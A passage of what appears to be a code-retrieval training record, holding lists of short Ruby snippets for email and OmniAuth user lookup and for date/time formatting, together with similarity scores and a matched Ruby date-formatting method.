"def set_google_omniauth(email = \"[email protected]\", opts = {})\n default = {provider: :google_oauth2,\n uuid: \"1234\",\n google_oauth2: {\n email: email,\n gender: \"male\",\n first_name: \"eco\",\n last_name: \"work\",\n name: \"ecowork\",\n locale: \"en\"\n }\n }\n\n credentials = default.merge(opts)\n provider = credentials[:provider]\n user_hash = credentials[provider]\n\n OmniAuth.config.test_mode = true\n\n OmniAuth.config.mock_auth[provider] = OmniAuth::AuthHash.new({\n \"uid\" => credentials[:uuid],\n \"provider\" => credentials[:provider],\n \"info\" => {\n \"email\" => user_hash[:email],\n \"first_name\" => user_hash[:first_name],\n \"last_name\" => user_hash[:last_name],\n \"name\" => user_hash[:name]\n },\n \"extra\" => {\n \"raw_info\" => {\n \"gender\" => user_hash[:gender],\n \"locale\" => user_hash[:locale]\n }\n }\n })\nend",
"def extract_identity\n @identity = Identity.find_omniauth(omniauth) if omniauth\n end",
"def find_email(opts)\n find_emails(opts).first\n end",
"def person\n @person ||= Person.find_or_create_by(name: short_name)\n end",
"def find_or_create_record\n\n #check if the email has already signed up.\n manager_record = Manager.where(email: @email).first\n\n if manager_record.present?\n return validation_error(\n 'am_w_e_2',\n 'invalid_api_params',\n ['email_already_signed_up'],\n GlobalConstant::ErrorAction.default\n )\n end\n\n record = ManagerWhitelisting.where(\n kind: GlobalConstant::ManagerWhitelisting.email_kind,\n identifier: @email\n ).first\n\n if record.present?\n return validation_error(\n 'am_w_e_3',\n 'invalid_api_params',\n ['email_already_whitelisted'],\n GlobalConstant::ErrorAction.default\n )\n end\n\n create_response = ManagerWhitelisting.create!(\n kind: GlobalConstant::ManagerWhitelisting.email_kind,\n identifier: @email\n )\n\n template_vars = { company_web_domain: CGI.escape(GlobalConstant::CompanyWeb.domain) }\n\n r = ::Email::HookCreator::SendTransactionalMail.new(\n receiver_entity_id: create_response.id,\n receiver_entity_kind: GlobalConstant::EmailServiceApiCallHook.whitelisting_requester_kind,\n template_name: GlobalConstant::PepoCampaigns.platform_whitelisting_done_template,\n template_vars: template_vars).perform\n return r unless r.success?\n\n success\n\n end",
"def userinfo?\n @userinfo = session[:userinfo] = request.env['omniauth.auth'][:extra][:raw_info]\n\n # No email address, reject\n return login_failed 'Email required.' unless @userinfo[:email]\n\n @email = @userinfo[:email]\n @auth0_id = @userinfo[:user_id]\n end",
"def findemail(addr)\n found = @emails.find { |_ky, vl| vl == addr }\n return nil unless found\n\n { id: (id = found[0]), name: @names[id], pw: @passwords[id], email: addr }\n end",
"def find_or_create_identity!(auth)\n ident = Identity.from_oauth auth\n\n # Identity already exist. Make sure it's valid...\n if ident.persisted? && ident.user != self\n raise \"Identity is associated with another user (#{ident.user}).\"\n end\n\n ident.user = self\n ident.save!\n ident\n end",
"def link_with_omniauth(auth)\n identities.find_or_initialize_by(provider: auth[:provider], uid: auth[:uid])\n end",
"def find_friend_by_email\n begin\n @friend_id = User.find_by(email: params[:email]).id\n rescue\n render json: {error: \"Friend not found\"}, status: 404\n end\n end",
"def email_credential\n user.credentials.where(name: email).first\n end",
"def populateLDAP\n \n #quit if no email or netid to work with\n return if !self.netid\n \n ldap = Net::LDAP.new(host: 'directory.yale.edu', port: 389)\n b = 'ou=People,o=yale.edu'\n f = Net::LDAP::Filter.eq('uid', self.netid)\n a = %w(givenname sn mail knownAs class college)\n\n p = ldap.search(base: b, filter: f, attributes: a).first\n \n\n\n self.fname = ( p['knownAs'] ? p['knownAs'][0] : '' )\n if self.fname.blank?\n self.fname = ( p['givenname'] ? p['givenname'][0] : '' )\n end\n self.lname = ( p['sn'] ? p['sn'][0] : '' )\n self.email = ( p['mail'] ? p['mail'][0] : '' )\n self.year = ( p['class'] ? p['class'][0].to_i : 0 )\n self.college = ( p['college'] ? p['college'][0] : '' )\n self.save!\n end",
"def apply_omniauth(auth)\n self.email = auth['extra']['raw_info']['email'] if auth['extra']['raw_info']['email']\n self.password = Devise.friendly_token[0,20]\n authentications.build(:provider=>auth['provider'], :uid=>auth['uid'], :token=>auth['credentials']['token'], :secret=>auth['credentials']['secret'])\n end",
"def find_or_create_id\n return unless email_address\n entities = find_entities_by_email\n entities = Array.wrap(create_entity) unless entities.size == 1\n relationships = entities.first&.dig(\"person\", \"master_person:relationship\")\n # wrap relationships, there was a bug where some people have more than 1 master_person, take the first\n Array.wrap(relationships)&.dig(0, \"master_person\") if relationships\n end",
"def get_user_by(query)\n if (uid = query[:uid])\n payload = {localId: Array(validate_uid(uid, required: true))}\n elsif (email = query[:email])\n payload = {email: Array(validate_email(email, required: true))}\n elsif (phone_number = query[:phone_number])\n payload = {phoneNumber: Array(validate_phone_number(phone_number, required: true))}\n else\n raise ArgumentError, \"Unsupported query: #{query}\"\n end\n res = @client.post(with_path(\"accounts:lookup\"), payload).body\n users = res[\"users\"] if res\n UserRecord.new(users[0]) if users.is_a?(Array) && users.length > 0\n end",
"def build_from_email(email)\n new do |auth|\n auth.provider = 'email'\n auth.email = email\n auth.uid = email\n end\n end",
"def get_email_address\n response = get_current_user_meta('email')\n email = response['query']['userinfo']['email']\n return if email == ''\n\n email\n end",
"def find_using_email_token!(token, age = self.email_token_valid_for)\n find_using_email_token(token, age) || raise(ActiveRecord::RecordNotFound)\n end",
"def search_by_email(email)\n # TODO: Select the Contact instances from the 'contacts.csv' file whose name or email attributes contain the search term.\n contact = CSV.read('contacts.csv').detect() { |contact| contact[2] == email }\n contact ? Contact.new(contact[1],contact[2],contact[0]) : nil\n end",
"def matching_user\n User.active.where(email: email).first\n end",
"def find_by_email(json: {})\n return nil unless json[:mbox].present?\n\n ::Contributor.where('LOWER(email) = ?', json[:mbox].downcase).first\n end"
] | [
"0.7421134",
"0.65816665",
"0.6554829",
"0.65196466",
"0.64751333",
"0.6468865",
"0.6433882",
"0.64330184",
"0.6425275",
"0.6366515",
"0.6353439",
"0.63365877",
"0.63228524",
"0.62915677",
"0.6273348",
"0.62678343",
"0.6250944",
"0.6227089",
"0.6224936",
"0.6198357",
"0.61974937",
"0.61951107",
"0.6175482",
"0.6143591",
"0.61337805",
"0.61239725",
"0.6117301",
"0.6036043",
"0.60358983",
"0.60333973",
"0.60207707",
"0.60108536",
"0.5998985",
"0.59853745",
"0.5969591",
"0.59655964",
"0.5961456",
"0.5923554",
"0.59234107",
"0.5899924",
"0.5888868",
"0.5886186",
"0.5879287",
"0.5872861",
"0.5871651",
"0.58663464",
"0.5847808",
"0.5844797",
"0.5839317",
"0.58081436",
"0.5802522",
"0.5796744",
"0.57912344",
"0.5787796",
"0.57842726",
"0.5753306",
"0.5748398",
"0.5745469",
"0.5742898",
"0.5729483",
"0.5728265",
"0.57093555",
"0.56884986",
"0.56846195",
"0.5683892",
"0.568273",
"0.5680814",
"0.56769705",
"0.5672878",
"0.5667603",
"0.56561714",
"0.5652088",
"0.5634015",
"0.56300646",
"0.5624051",
"0.5607932",
"0.5601061",
"0.55861396",
"0.55798674",
"0.5576374",
"0.5565569",
"0.55632025",
"0.5556453",
"0.5552678",
"0.55477315",
"0.5545416",
"0.5540531",
"0.55396235",
"0.55355036",
"0.55339336",
"0.55296403",
"0.55201215",
"0.55153906",
"0.5504238",
"0.5496904",
"0.54927903",
"0.5488127",
"0.5487898",
"0.5485",
"0.54804957"
] | 0.7642451 | 0 |
first parameter string table column name optional second symbol parameter | def annotate(str)
return "#{str}'#{parstr(str)}" if @ordering[0].isMatchingKey?(str)
return "#{str}\"#{parstr(str)}" if @ordering[1].isMatchingKey?(str)
return str + parstr(str)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def column_name\n name.to_sym\n end",
"def column_name; end",
"def columns(table_name, name = nil) end",
"def table_symbol_from x\n x.to_s.tableize.to_sym\n end",
"def quote_column_if_needed(column); end",
"def i(s)\n connection.quote_column_name(s)\n end",
"def [](name)\n @table[name.to_sym]\n end",
"def qualified_column_name(column, table)\n if Symbol === column \n c_table, column, c_alias = split_symbol(column)\n schema, table, t_alias = split_symbol(table) if Symbol === table\n c_table ||= t_alias || table\n ::Sequel::SQL::QualifiedIdentifier.new(c_table, column)\n else\n column\n end\n end",
"def quote_table_name(name)\n quote_column_name(name)\n end",
"def symbol cols\n decode_values :symbol, cols\n end",
"def column_named(name) #nodoc\n @_column_hashes[name.to_sym]\n end",
"def col(name)\n query_table[name.to_s]\n end",
"def col(name)\n query_table[name.to_s]\n end",
"def quote_column_name(name) #:nodoc:\r\n %Q(\"#{name}\")\r\n end",
"def column_from_string_or_sym(string) #nodoc\n string.each do |name|\n add_field(name.to_sym, :string)\n end\n end",
"def column_from_string_or_sym(string) #nodoc\n string.each do |name|\n add_field(name.to_sym, :string)\n end\n end",
"def [](name)\n @table[name.to_sym]\n end",
"def symbol_to_column_ref(sym)\n c_table, column, c_alias = split_symbol(sym)\n \"#{\"#{quote_identifier(c_table)}.\" if c_table}#{quote_identifier(column)}#{\" AS #{quote_identifier(c_alias)}\" if c_alias}\"\n end",
"def decode_name(col)\n end",
"def check_column column, table, col_types\n unless column.is_a? Symbol\n raise ArgumentError, \"#{column.inspect} not a Symbol\"\n end\n unless col_types[column]\n raise ArgumentError, \"#{column.inspect} is not a column in #{table}\"\n end\n end",
"def v(o)\n case o\n when Symbol\n t, column, aliaz = Sequel.split_symbol(o)\n if t\n o\n elsif aliaz\n SQL::AliasedExpression.new(SQL::QualifiedIdentifier.new(@table, SQL::Identifier.new(column)), aliaz)\n else\n SQL::QualifiedIdentifier.new(@table, o)\n end\n when SQL::Identifier\n SQL::QualifiedIdentifier.new(@table, o)\n when SQL::QualifiedIdentifier, SQL::JoinClause\n # Return these directly, so we don't accidentally qualify symbols in them.\n o\n else\n super\n end\n end",
"def v(o)\n case o\n when Symbol\n t, column, aliaz = Sequel.split_symbol(o)\n if t\n o\n elsif aliaz\n SQL::AliasedExpression.new(SQL::QualifiedIdentifier.new(@table, SQL::Identifier.new(column)), aliaz)\n else\n SQL::QualifiedIdentifier.new(@table, o)\n end\n when SQL::Identifier\n SQL::QualifiedIdentifier.new(@table, o)\n when SQL::QualifiedIdentifier, SQL::JoinClause\n # Return these directly, so we don't accidentally qualify symbols in them.\n o\n else\n super\n end\n end",
"def quote_column_name(name)\n name.to_s\n end",
"def _(column, table)\n ActiveRecord::Base._(column, table)\n end",
"def _(column, table)\n ActiveRecord::Base._(column, table)\n end",
"def table=(_arg0); end",
"def lookup_and_parse col, expect_cq\n @hbase.schema.lookup_and_parse @name_sym, col, expect_cq\n end",
"def tablename; datastore['TABLENAME']; end",
"def quote_table_name(table_name)\n quote_column_name(table_name)\n end",
"def quote_identifier_append(sql, name)\n name = (table_mappings[name.to_sym] || name) if name.respond_to?(:to_sym)\n super(sql, name)\n end",
"def normalize_column(field)\n field.is_a?(Symbol) ? {:name => field} : field\n end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def real_column; end",
"def symbols cols\n decode_values :symbol, cols, true\n end",
"def encode_name(col)\n if col.name == 'id'\n :_id\n elsif col.name == 'type'\n :_type\n else\n col.name.to_sym\n end\n end",
"def set_from_column_name(value = nil, &block)\n define_attr_method :from_column_name, value, &block\n end",
"def column_name\n Name.new(\"#{name}_id\")\n end",
"def column_name\n ensure_setup!\n column.name.to_sym\n end",
"def column=(_); end",
"def quote_column_name(name)\n %[\"#{name.to_s.gsub('\"', '\"\"')}\"]\n end",
"def column_params\n params.require(:column).permit(:name, :ident)\n end",
"def column_param_prefix\n @column_param_prefix ||= 'c'\n end",
"def column(options = {})\n options = normalize_options(options) \n return \"\" if @column == \"\"\n @column =~ /(.*\\.)?(.*)/\n if (table_class = options[:table_class])\n\t\"#{table_class.table.table_name}.`#{$2}`\"\n else\n\t\"#{$1}`#{$2}`\"\n end\n end",
"def quote_column_name(name) #:nodoc:\n \"\\\"#{name}\\\"\"\n #query(\"SELECT QUOTE_IDENT('#{name}')\")[0][0]\n end",
"def col_name(col)\n [@_table_name, col.name].join('.')\n end",
"def column_sql\n column_sql_format.gsub(\"{table}\", quoted_table_name).gsub(\"{column}\", quoted_column_name)\n end",
"def method_missing(name, *args)\n @columns[args[0]] = [name, args[1]]\n end",
"def quote_column_if_needed(column)\n column.to_s =~ /\\A[a-z0-9_]+\\z/ ? column : connection.quote_column_name(column)\n end",
"def quote_column_name(str)\n str.to_s\n end",
"def tm_table_column_params\n params.require(:tm_table_column).permit(:column_number, :column_name, :column_name_jp, :column_type, :column_size, :column_null, :column_default, :column_p_key, :column_f_key, :note, :tm_table_id)\n end",
"def quote_table_name(name)\n name\n end",
"def quote_column_name(name) #:nodoc:\n '[' + name.to_s + ']'\n end",
"def table_name\n if qualified? && meta[:qualified].is_a?(Symbol)\n meta[:qualified]\n else\n source.dataset\n end\n end",
"def column_name(column)\n tmp = ''\n column.name.gsub(/_/, ' ').gsub(/id/,\"\").split.each{|word| tmp += word.capitalize + ' '}\n return tmp\n end",
"def [](key)\n table[key] || table[String === key ? key.to_sym : key.to_s]\n end",
"def set_to_column_name(value=nil, &block)\n define_attr_method :to_column_name, value, &block\n end",
"def column_params\n params.require(:column).permit(:name)\n end",
"def chooseColumn\n @metadata.chooseColumn\n end",
"def set_table(table)\n define_class_method(:table) {table.to_s.to_sym}\n end",
"def table; end",
"def table; end",
"def table; end",
"def table; end",
"def quote_table_name(name)\n '[' + name.to_s + ']'\n end",
"def chooseColumnAlias\n @metadata.chooseColumnAlias\n end",
"def quote_column_name(column_name)\n column_name.to_s\n end",
"def qualify(table, col)\n transform(col) do |k|\n case k\n when Symbol, SQL::Identifier\n SQL::QualifiedIdentifier.new(table, k)\n else\n Sequel::Qualifier.new(table).transform(k)\n end\n end\n end",
"def makeColumnName(arg)\n index = arg.index(':')\n if not index\n # Add a colon. If already a colon, its in the right place,\n # or an exception will come up out of the addFamily\n arg << ':'\n end\n arg\n end",
"def type_literal_generic_symbol(column)\n type_literal_generic_string(column)\n end",
"def table_params\n params.require(:table).permit(\n :name\n )\n end",
"def sql_for_columns; @sql_for_columns end",
"def column(column_name, options={})\n columns_object.merge(column_name.to_sym => options)\n end",
"def qualify_cur(col)\n qualify(self[:model].table_name, col)\n end",
"def set_param_column(val)\n define_attr_method :param_column, val\n end",
"def set_param_column(val)\n define_attr_method :param_column, val\n end",
"def column(pos = T.unsafe(nil)); end",
"def indexed?(table, column); end",
"def table_params\n params.require(:table).permit(:name)\n end",
"def columns_param(column_names)\n column_names.map! { |name| escape(name) }\n \"columns:!(#{column_names.join(',')})\"\n end",
"def table_lookup(key, arg, table = nil)\n lookup_key = key[1..-1].to_sym\n\n lookup_table = table || @tables[lookup_key]\n\n if lookup_table.kind_of? Hash\n lookup_table[arg.to_sym] \n elsif lookup_table.kind_of? Array\n if lookup_table.member? arg or lookup_table.member? arg.to_sym\n arg\n else\n raise \"Invalid argument\"\n end\n elsif lookup_table.kind_of? Proc\n table_lookup(key, arg, lookup_table.call)\n else\n raise \"Unknown lookup table type\"\n end\n #table[1][arg.to_sym] unless table.nil?\n end",
"def column column_name, alias_name = nil\n alias_name = column_name.to_sym unless alias_name\n @headers = all_headers\n @headers.merge!(alias_name => column_name)\n define_row(@headers)\n\n @has_headers = true\n end",
"def _table; @table end",
"def column_for(col_name)\n relation.column_names.detect { |col| col == col_name }\n end",
"def table_params\n params.require(:table).permit(:name, :statu)\n end",
"def table\n end",
"def test_rename_column_using_symbol_arguments\n add_column :test_models, :first_name, :string\n\n TestModel.create first_name: \"foo\"\n\n rename_column :test_models, :first_name, :nick_name\n TestModel.reset_column_information\n assert_includes TestModel.column_names, \"nick_name\"\n assert_equal [\"foo\"], TestModel.all.map(&:nick_name)\n end",
"def column_name(scope, table_alias, identifier)\n if scope.column_names.include?(identifier)\n \"(#{table_alias}.#{identifier})\"\n else\n raise Kaprella::Errors::UnknownPropertyIdentifier.new(identifier)\n end\n end",
"def type(column); self[column]['type']; end",
"def column_name\n return 'json_scrape' if invalid_param('column_name')\n\n @params['column_name']\n end",
"def method_missing(name, *args, &block)\n if args.empty?\n RibColumn.new(name, @columns, @primary_keys, @to_avoid, @default_values)\n else\n hsh = args.grep(Hash).first || {}\n args.grep(Symbol).each do |ss|\n hsh[ss] = true\n end\n \n hsh = {:column => name}.merge(hsh)\n \n if hsh[:primary_key]\n @primary_keys << name.to_s\n end\n\n if hsh[:avoid]\n @to_avoid << name.to_s.downcase\n if hsh[:default]\n @default_values[name.to_s.downcase] = hsh[:default]\n end\n end\n \n @columns[name.to_s] = [hsh[:column].to_s, hsh]\n nil\n end\n end",
"def param_column\n self.class.param_column\n end",
"def param_column\n self.class.param_column\n end",
"def column(name, *args)\n define_method name do\n instance_variable_get(\"@_#{name}\")\n end\n define_method \"#{name}=\" do |val|\n instance_variable_set(\"@_#{name}\", val)\n end\n self.columns = columns.concat([[name].concat(args)])\n end",
"def special_character_records column_name\n @model_name.where(column_name.to_sym => SPECIAL_CHARACTER_LISTS)\n end",
"def quote_column_name_or_expression(name) # :nodoc:\n name = name.to_s\n case name\n # if only valid lowercase column characters in name\n when /^[a-z][a-z_0-9$#]*$/\n \"\\\"#{name.upcase}\\\"\"\n when /^[a-z][a-z_0-9$#-]*$/i\n \"\\\"#{name}\\\"\"\n # if other characters present then assume that it is expression\n # which should not be quoted\n else\n name\n end\n end"
] | [
"0.6656023",
"0.6523673",
"0.6505875",
"0.64937526",
"0.63589096",
"0.633834",
"0.6333878",
"0.63311887",
"0.6287636",
"0.6196503",
"0.61703753",
"0.6167192",
"0.6167192",
"0.61563283",
"0.61321676",
"0.61321676",
"0.6098053",
"0.606657",
"0.60652953",
"0.603084",
"0.602077",
"0.602077",
"0.60090303",
"0.5996505",
"0.5996505",
"0.5990765",
"0.5965337",
"0.59583664",
"0.5906193",
"0.5874724",
"0.58443666",
"0.58068913",
"0.58068913",
"0.58068913",
"0.58068913",
"0.58068913",
"0.58068913",
"0.58068913",
"0.5806165",
"0.5800258",
"0.5780482",
"0.57733834",
"0.57689106",
"0.57654977",
"0.5762232",
"0.5761032",
"0.57528263",
"0.573634",
"0.57334834",
"0.5725143",
"0.5717768",
"0.57046086",
"0.5700778",
"0.56955004",
"0.5693648",
"0.56873184",
"0.5674054",
"0.56738466",
"0.56691647",
"0.56640434",
"0.5658185",
"0.5652931",
"0.5643689",
"0.5633321",
"0.5624955",
"0.5624108",
"0.5624108",
"0.5624108",
"0.5624108",
"0.5620901",
"0.56146264",
"0.5609177",
"0.56002873",
"0.5585887",
"0.55809724",
"0.55786616",
"0.55765396",
"0.5567524",
"0.5565758",
"0.55510503",
"0.55510503",
"0.55461335",
"0.55429536",
"0.55420405",
"0.5534423",
"0.55331004",
"0.5514095",
"0.5512809",
"0.5511743",
"0.5494821",
"0.54942447",
"0.54933167",
"0.5486175",
"0.5471148",
"0.54687613",
"0.5465703",
"0.5464139",
"0.5464139",
"0.5463321",
"0.5455768",
"0.5439055"
] | 0.0 | -1 |
Takes a Time object or nil, and returns a String in yyyymmdd format or "unspecified" for nil. | def printHTMLDateShort(tobj)
return alStrftime(tobj,'%y-%m-%d')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def time_to_str(dt)\r\n ret = nil\r\n if dt.nil?\r\n ret = \"\"\r\n else\r\n ret = dt.iso8601\r\n ret[10..-1] = \"Z\" if self.allday # yyyy-mm-ddZ\r\n end\r\n ret\r\n end",
"def fmt_time(t)\n if t.present?\n ApplicationHelper.localtime(t).strftime(ApplicationHelper.gen_time_fmt)\n end\n end",
"def dateshort( time )\n time.strftime('%Y-%m-%d') if time\n end",
"def format_date_time(value, format)\n if value.nil? then\n \"\"\n else\n value.strftime(format)\n end\n end",
"def to_string\n return @year.to_s + \" \" + @month.to_s + \" \" + @day.to_s\n end",
"def get_date_time_for_display(date_time_value)\n formatted_date = \"\"\n if(date_time_value != nil)\n d = DateTime.parse(date_time_value)\n formatted_date = d.strftime(\"%Y\")\n end\n return formatted_date\n end",
"def livia_date_time(d)\n unless d.nil?\n d.to_time.strftime(\"%m/%d/%Y %H:%M\")\n else\n ''\n end\n end",
"def to_s\n return \"#{\"%04d\" % @t_year}-#{\"%02d\" % @t_month}-#{\"%02d\" % @t_day} #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec}\"\n end",
"def get_datetime_string(t)\n return t.strftime('%b %d, %Y %I:%M %p')\n end",
"def strftime(format, time = T.unsafe(nil)); end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def display_time(timestamp)\n return nil if timestamp.blank?\n timestamp.to_s(:date_time_long)\n end",
"def display_time(time)\n time.strftime(\"%Y-%m-%d %H:%M\") rescue \"-\"\n end",
"def display_time(time)\n time.strftime(\"%Y-%m-%d %H:%M\") rescue \"-\"\n end",
"def display_time(time)\n time.strftime(\"%Y-%m-%d %H:%M\") rescue \"-\"\n end",
"def to_string(t)\n t.respond_to?(:getutc) ? t.getutc.strftime(DATE_FORMAT) : t.strftime(DATE_FORMAT)\n end",
"def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end",
"def show_date_format(time)\n unless time.blank?\n time.strftime(\"%Y年%m月%d日\") rescue '--'\n end\n end",
"def to_s\n if year == 0 and mon == 0 and day == 0\n h = neg ? hour * -1 : hour\n sprintf \"%02d:%02d:%02d\", h, min, sec\n else\n sprintf \"%04d-%02d-%02d %02d:%02d:%02d\", year, mon, day, hour, min, sec\n end\n end",
"def timekey_to_timeformat(timekey)\n case timekey\n when nil then ''\n when 0...60 then '%Y%m%d%H%M%S' # 60 exclusive\n when 60...3600 then '%Y%m%d%H%M'\n when 3600...86400 then '%Y%m%d%H'\n else '%Y%m%d'\n end\n end",
"def to_s\n # TODO this breaks the minus spec: strftime\n format \"#{year}-%02d-%02d\", month, day\n end",
"def date_to_s( date = object.meeting_date )\n Format.a_date( date )\n end",
"def format_time(time)\n part = time.strftime(@time_pattern)\n\n if(!GRUtil.is_empty?(part))\n part\n else\n \"\"\n end\n end",
"def date_to_string(date, type = T.unsafe(nil), style = T.unsafe(nil)); end",
"def date_time_str(time)\n \"#{time.utc.strftime('%Y-%m-%d')}T#{time.utc.strftime('%H:%M:%S.%L')}Z\"\n end",
"def preset_value(time)\n time.strftime('%d/%m/%Y') unless time.nil?\n end",
"def human_str(args = {})\n args = {\n :time => true,\n :number_endings => {\n 0 => \"th\",\n 1 => \"st\",\n 2 => \"nd\",\n 3 => \"rd\",\n 4 => \"th\",\n 5 => \"th\",\n 6 => \"th\",\n 7 => \"th\",\n 8 => \"th\",\n 9 => \"th\"\n }\n }.merge(args)\n \n now = Time.now\n \n #Generate normal string.\n date_str = \"\"\n \n if now.day != @t_day and now.month == @t_month and now.year == @t_year\n last_digit = @t_day.to_s[-1, 1].to_i\n \n if ending = args[:number_endings][last_digit]\n #ignore.\n else\n ending = \".\"\n end\n \n date_str << \"#{@t_day}#{ending} \"\n elsif now.day != @t_day or now.month != @t_month or now.year != @t_year\n date_str << \"#{@t_day}/#{@t_month} \"\n end\n \n if now.year != @t_year\n date_str << \"#{@t_year} \"\n end\n \n if args[:time]\n date_str << \"#{@t_hour}:#{\"%02d\" % @t_min}\"\n end\n \n return date_str\n end",
"def time_s\n time_to_s(time)\n end",
"def iso_format_time(time)\n return time unless time.is_a? Time or time.is_a? Date\n time = time.getutc if time.is_a? Time\n time = time.new_offset(0) if time.is_a? DateTime\n time.strftime('%Y-%m-%dT%H:%M:%SZ')\n end",
"def time_format(time)\n\t if time\n\t time.strftime(\"%d/%m/%Y %H:%M\")\n\t end\n\tend",
"def to_s\n \"#{@month}/#{@day}/#{@year}\"\n end",
"def format_date_nicely(date)\n\tn = Time.new(2013, 10, 31)\n\tn.strftime(\"%d/%m/%Y\")\nend",
"def date_view value, meta=nil\n return value.strftime \"%Y-%m-%d\" unless value.nil?\n ''\n end",
"def dbstr(args = nil)\n str = \"#{\"%04d\" % @t_year}-#{\"%02d\" % @t_month}-#{\"%02d\" % @t_day}\"\n \n if !args or (!args.key?(:time) or args[:time])\n str << \" #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec}\"\n end\n \n return str\n end",
"def livia_time(d)\n unless d.nil?\n d.to_time.strftime(\"%H:%M\")\n else\n ''\n end\n end",
"def alStrftime(tobj, str)\n return \"unspecified\" unless tobj\n return tobj.strftime(str)\n end",
"def short_time\n \ttime.strftime \"%b %-d\"\n end",
"def mdy_or_nil(datetime)\n\t\tdatetime.strftime(\"%m/%d/%Y\") unless datetime.blank?\n\tend",
"def strf_date(date_time)\n begin\n date_time.strftime('%Y-%m-%d')\n rescue\n date_time\n end\n end",
"def dob_string\n unless self[:feed_birth_time].blank?\n year = self[:feed_birth_time].year\n return case self[:feed_birth_time_pref]\n when 'y':\n year.to_s\n when 'md':\n self[:feed_birth_time].to_time.strftime(\"%d-%b\")\n when 'ymd':\n self['feed_birth_time'].to_time.strftime(\"%d-%b-%Y\")\n end\n end\n return ''\n end",
"def localize_time_of_day(time)\n if time.nil?\n return I18n.localize(DateTime.new)\n .remove('01/01/-4712')\n .strip\n .gsub(/\\d/, '_')\n end\n\n I18n.localize(time)\n .remove('01/01/2000')\n .strip\n end",
"def time_to_str(t, convert = true)\n return '' if t == nil\n if convert\n gm_to_local(t).strftime(\"%I\").to_i.to_s + gm_to_local(t).strftime(\":%M%p\").downcase\n else\n t.strftime(\"%I\").to_i.to_s + t.strftime(\":%M%p\").downcase\n end\n end",
"def proper_time(time)\n\tTime.at(time).gmtime.strftime('%R:%S')\nend",
"def format_datetime(datetime, fmt = '%e %B %Y')\n return datetime unless datetime.is_a? Time\n datetime.strftime(fmt).strip\n end",
"def display_datetime(time)\n time.strftime('%e %B, %l:%M%p')\n end",
"def as_time( d = nil )\n d = (d || self)\n return '' unless [Time, DateTime].include? d.class\n format = 'time_short'\n I18n.l d, :format => I18n.t( 'time.formats.' + format )\n end",
"def time(options = {})\n if @time.is_a?(Time)\n @time.strftime(\"%l#{@time.min > 0 ? \":%M\" : ''}%P\").strip\n else\n nil\n end\n end",
"def display_time (*args)\n t = Time.now\n format = \"\"\n def add_comma(format, chars)\n if format == \"\"\n return chars\n else\n return format + \", \" + chars\n end\n end\n\n if !args\n puts t.strftime(\"%A, %B, %d, %Y at %I:%M%p\")\n else\n if args.include?(:day_of_week)\n format = add_comma(format, \"%A\")\n end\n if args.include?(:month)\n format = add_comma(format, \"%B\")\n end\n if args.include?(:day)\n format = add_comma(format, \"%d\")\n end\n if args.include?(:year)\n format = add_comma(format, \"%Y\")\n end\n if args.include?(:time)\n format = add_comma(format, \"at %I:%M%p\")\n end\n puts t.strftime(format)\n end\nend",
"def ts_to_time_str(ts)\n return '' if ts == nil\n gm_to_local(ts).strftime('%I:%M:%S%p').downcase\n end",
"def format_date_time(date_time)\n if defined?(ActiveSupport)\n date_time.strftime(DATE_TIME_FORMAT)\n else\n date_time.inspect\n end\n end",
"def to_s\n \"#{time.strftime(\"%Y-%m-%d %H:%M:%S\")} #{formatted_offset(false, 'UTC')}\" # mimicking Ruby Time#to_s format\n end",
"def format_time(time)\n return time.strftime(\"%l:%M%p\")\n end",
"def as_date( d = nil )\n d = (d || self)\n return '' unless [Date, Time, DateTime].include? d.class\n format = d.year == Date.today.year ? 'date_same_year' : 'date_other_year'\n I18n.l d, :format => I18n.t( 'time.formats.' + format )\n end",
"def timestring(time)\n time.strftime(\"%Y/%m/%d %H:%M:%S\") + \".#{time.usec}\"[0..3]\n end",
"def to_s\n s = (to_s_pieces(DATE_FIELDS) + [to_s_time_piece]).compact.join(' ')\n if s == \"\"\n \"0 days\"\n else\n s\n end + (ago ? \" ago\" : \"\")\n end",
"def nytimes_time(time, opts={})\n raise ArgumentError.new \"Time or DateTime required\" unless time.is_a?(DateTime) || time.is_a?(Time)\n str = \"\"\n str << time.strftime(\"%l:%M\").strip\n str << time.strftime(\" %p\").sub('PM','p.m.').sub('AM','a.m.') unless opts[:hide_abbreviation]\n str\n end",
"def time_id(time)\n time.strftime(\"%Y%m%d\")\n end",
"def windows_time_string(time)\n time.utc.iso8601.gsub(/[-|:|T]/, '').gsub(/Z$/, '.0Z') if time\n end",
"def make_date(time_object)\n month = time_object.strftime(\"%b \")\n day = time_object.strftime(\"%-d\")\n year = time_object.strftime(\", %Y \")\n mins = time_object.strftime(\":%M %P\")\n hour = time_object.strftime(\"%l\").to_i\n return month + day + year + hour.to_s + mins\n end",
"def dateize(date)\n if not date.nil?\n date.strftime(\"%Y-%m-%d\")\n end\nend",
"def to_s()\n str = \"\" + @date.month.to_s() + \"/\" + @date.mday.to_s() + \"/\" + @date.year.to_s()\n return str\n end",
"def name_of_day(style = :full)\n @time.strftime(style == :full ? \"%A\" : \"%a\")\n end",
"def custom_time (*arg)\n\tresult = \"\"\n\targ.each do |value|\n\t\tif(value == :day_of_week)\n\t\t\tresult += \"%A, \"\n\t\telsif(value == :month)\n\t\t\tresult += \"%B \"\n\t\telsif(value == :day)\n\t\t\tresult += \"%d, \"\n\t\telsif(value == :year)\n\t\t\tresult += \"%Y \"\n\t\telsif(value == :time)\n\t\t\tresult += \"at %I:%M%p\" \n\t\tend\n\tend\n\tt = Time.now\n\tt.strftime(result)\nend",
"def format_time(time)\n strftime_preset = '%Y-%m-%dT%l:%M:%S%z'\n time.strftime(strftime_preset)\n end",
"def ts_to_str(ts)\n return '' if ts == nil\n gm_to_local(ts).strftime('%a %b %d, %Y') + ' at ' +\n gm_to_local(ts).strftime('%I:%M%p').downcase + ' ' + (session[:time_zone_abbr] || '')\n end",
